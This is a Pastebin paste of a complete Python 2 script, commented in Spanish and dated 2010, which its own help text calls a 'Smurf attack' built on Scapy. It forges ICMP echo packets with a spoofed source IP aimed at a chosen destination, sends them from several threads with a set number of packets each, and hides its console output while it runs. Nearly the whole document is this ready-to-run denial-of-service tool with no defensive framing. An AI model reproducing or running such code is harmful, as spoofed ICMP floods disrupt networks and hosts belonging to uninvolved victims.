Advertisement
Guest User

smurf

a guest
Nov 30th, 2010
662
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.36 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # -*- encoding: utf-8 -*-
  3. ##############################################################################
  4. #  Copyright (C) 2010 Kenkeiras <kenkeiras@gmail.com>
  5. #
  6. #  This program is free software. It comes without any warranty, to
  7. #  the extent permitted by applicable law. You can redistribute it
  8. #  and/or modify it under the terms of the Do What The Fuck You Want
  9. #  To Public License, Version 2, as published by Sam Hocevar.
  10. #
  11. #  See http://sam.zoy.org/wtfpl/COPYING for more details.
  12. ##############################################################################
  13.  
  14. from scapy.all import IP, ICMP, send, sr # Scapy
  15. from random import seed, randint # Para identificadores pseudo-aleatorios
  16. from threading import Thread # Para multihilo
  17. from time import sleep # Para no quemar el procesador esperando por los hilos
  18. from os import devnull
  19.  
  20. import sys
  21.  
  22. sleep_time = 0.01 # Tiempo entre comprobaciones de fin de hilos
  23.  
  24. seed() # Inicializa los pseudo-aleatorios
  25.  
  26. global done
  27. done = 0 # nº de hilos que acabaron
  28.  
  29. class smurf(Thread):
  30.     # Genera un identificador aleatorio de 16-bits
  31.     def rand_identifier(self):
  32.         x = 0L
  33.         for i in xrange(2):
  34.             x +=  randint(0, 255) << (i * 8)
  35.         return x
  36.  
  37.     # Actualiza el paquete al próximo número de secuencia
  38.     def next_seq(self, paq):
  39.         paq[1].seq = (paq[1].seq + 1) & 0xFFFF
  40.  
  41.     # Prepara el paquete para mandarlo
  42.     def craft_paq(self,
  43.                  src_ip,
  44.                  dst_ip,
  45.                  data = "A",
  46.                  rep = 56,
  47.                  paq_type = 8,
  48.                  paq_code = 0):
  49.         ip = IP(src = src_ip, dst = dst_ip)
  50.         icmp = ICMP()
  51.         icmp.type = paq_type
  52.         icmp.code = paq_code
  53.         icmp.id = self.rand_identifier()
  54.         return (ip, icmp, str(data * rep))
  55.  
  56.     # Envía un paquete
  57.     def send_paq(self, paq):
  58.         send(paq)
  59.  
  60.     # Ensambla un paquete
  61.     def asm_paq(self, paq):
  62.         return paq[0]/paq[1]/paq[2]
  63.  
  64.     # Inicializa el objeto
  65.     def __init__(self, src_ip, dst_ip, times = 1, data = "Hey!", rep = 14):
  66.         Thread.__init__(self)
  67.         self.paq = self.craft_paq(src_ip, dst_ip, data, rep)
  68.         self.times = times
  69.  
  70.     # Y lo ejecuta
  71.     def run(self):
  72.         try:
  73.             for i in xrange(self.times):
  74.                 self.next_seq(self.paq)
  75.                 self.send_paq(self.asm_paq(self.paq))        
  76.         except:
  77.             print >>sys.stderr, "Un hilo ha fallado"
  78.         # Avisa del fin del hilo
  79.         global done
  80.         done += 1
  81.  
  82. # Muestra las opciones
  83. def show_help(arg0):
  84.     print "Smurf attack basado en Scapy"
  85.     print arg0, "-s <ip de origen> -d <ip de destino> [-t <nº de hilos>] [-p <paquetes/hilo>] [-b <datos a enviar>] [-r <nº de repeticiones de los datos>]"
  86.     print arg0, "-h   : muestra esto"
  87.  
  88. threadN = 1 # Número de hilos
  89. src_ip = "" # IP de origen
  90. dst_ip = "" # IP de destino
  91. times = 10  # Paquetes que enviará cada hilo
  92. data = "ASD!" # Cadena que se enviará
  93. rep = 14    # Veces que se repetirá la cadena
  94.  
  95.  
  96. # Se leen los parámetros
  97. argc = len(sys.argv)
  98. i = 1
  99. while i < argc:
  100.     if (sys.argv[i] == "-h"):
  101.         show_help(sys.argv[0])
  102.         exit(0)
  103.     elif (sys.argv[i] == "-s"):
  104.         i += 1
  105.         src_ip = sys.argv[i]
  106.  
  107.     elif (sys.argv[i] == "-d"):
  108.         i += 1
  109.         dst_ip = sys.argv[i]
  110.  
  111.     elif (sys.argv[i] == "-p"):
  112.         i += 1
  113.         times = int(sys.argv[i])
  114.  
  115.     elif (sys.argv[i] == "-t"):
  116.         i += 1
  117.         threadN = int(sys.argv[i])
  118.  
  119.     elif (sys.argv[i] == "-b"):
  120.         i += 1
  121.         data = sys.argv[i]
  122.  
  123.     elif (sys.argv[i] == "-r"):
  124.         i += 1
  125.         rep = int(sys.argv[i])
  126.  
  127.     else:
  128.         print >>sys.stderr, "Opción [", sys.argv[i], "] desconocida"
  129.         exit(1)
  130.  
  131.     i += 1
  132.  
  133. if (src_ip == "") or (dst_ip == ""):
  134.     print >>sys.stderr, "No se han especificado las IP que se enviarán"
  135.     exit(1)
  136.  
  137. smurfs = []
  138.  
  139. # Crea los objetos
  140. for threader in range(threadN):
  141.     s = smurf(src_ip, dst_ip, times, data, rep)
  142.     smurfs.append(s)
  143.  
  144. # Elimina los mensajes superfluos de stdout
  145. tmp = sys.stdout
  146. sys.stdout = open(devnull, "a")    
  147.  
  148. # Y los inicia
  149. for s in smurfs:
  150.     s.start()
  151.  
  152. # Espera a que se acaben los hilos
  153. while (done < threadN):
  154.     sleep(sleep_time)
  155.  
  156. # Restablece stdout
  157. sys.stdout = tmp
  158.  
  159. print "[Fin]"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement